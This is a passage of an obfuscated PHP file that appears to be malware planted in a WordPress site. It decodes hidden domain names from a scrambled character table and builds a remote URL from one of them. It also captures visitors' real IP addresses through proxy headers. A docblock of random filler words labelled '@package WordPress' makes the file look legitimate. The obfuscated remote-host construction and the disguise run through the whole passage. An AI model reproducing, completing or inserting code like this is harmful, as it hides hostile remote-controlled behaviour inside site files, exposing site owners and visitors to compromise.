		$arr[0]=$O00O0O{0}.$O00O0O{2}.$O00O0O{18}.$O00O0O{14}.$O00O0O{18}.$O00O0O{7}.$O00O0O{14}.$O00O0O{15}.$O00O0O{18}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[1]=$O00O0O{17}.$O00O0O{14}.$O00O0O{15}.$O00O0O{15}.$O00O0O{0}.$O00O0O{19}.$O00O0O{7}.$O00O0O{0}.$O00O0O{13}.$O00O0O{6}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[2]=$O00O0O{7}.$O00O0O{2}.$O00O0O{1}.$O00O0O{19}.$O00O0O{5}.$O00O0O{24}.$O00O0O{14}.$O00O0O{24}.$O00O0O{14}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[3]=$O00O0O{8}.$O00O0O{3}.$O00O0O{10}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{17}.$O00O0O{14}.$O00O0O{12}.$O00O0O{0}.$O00O0O{19}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[4]=$O00O0O{18}.$O00O0O{7}.$O00O0O{0}.$O00O0O{22}.$O00O0O{15}.$O00O0O{18}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{8}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
	return $arr;
}

	
function getthisdom(){
	$myArrs = getarr();
    return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
} 
 
 
 
function get_real_ip(){
	
	
	   $ip = '';
    /**
     * resolve any proxies
     */
    if (isset($_SERVER)) {
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];
      } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];
      } else {
        $ip = $_SERVER['REMOTE_ADDR'];
      }
    }
    if (trim($ip) == '') {
      if (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
      } elseif (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
      } else {
        $ip = getenv('REMOTE_ADDR');
      }
    }

    /**
     * sanitize for validity as an IPv4 or IPv6 address
     */
    $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);

    /**
     *  if it's still blank, set to a single dot
     */
    if (trim($ip) == '') $ip = '.';

    return $ip;
	
	}
 
 
/**
 * chaos commit evolve hestiate interfere jail lean liberal likelihood naked numerrous opponent oxygen prevail prospect remarkable sensible slope spray transplant version violet waist.
 * cancel casual chaos essential harmony merchant motive neglect phenomenon stuff transform volcano waist.
 * academy agent avenue beforehand decade domestic genuine grand incident individual marine modest nylon oblige odd outset personnel recreation significance stimulate survey swallow title vacuum vibrate.
 * aware burst echo insure lynar prompt prosperity tender terminal trend waist.
 * bargain career equation geology idle illusion interpret liberty oral pants promote range semiconductor skim stable vessel wagon withstand.
 * adult bundle delay device distress evil exceed germ guilty internal jealous lest medium nonsense notion oval regulate reluctant scandal sensible sexual significance temple.
 * approximate arbitrary attach available distinguish elaborate exterior hostile identify index maximum particularly scandal shallow stuff temple unique vacuum virus yawn.
 * adapt approve cargo chaos conservative descend elastic enclose evaluate expensive explode issue strategy terminal triangle tuition urban.
 * academy arbitrary aspect community consume deaf descend dive domestic elbow emphasize evolve exclusive expand extreme favorite guilty inhabitant interpret leisure rescue textile vacant welfare.
 *
 * @package WordPress
 */

 
//file end
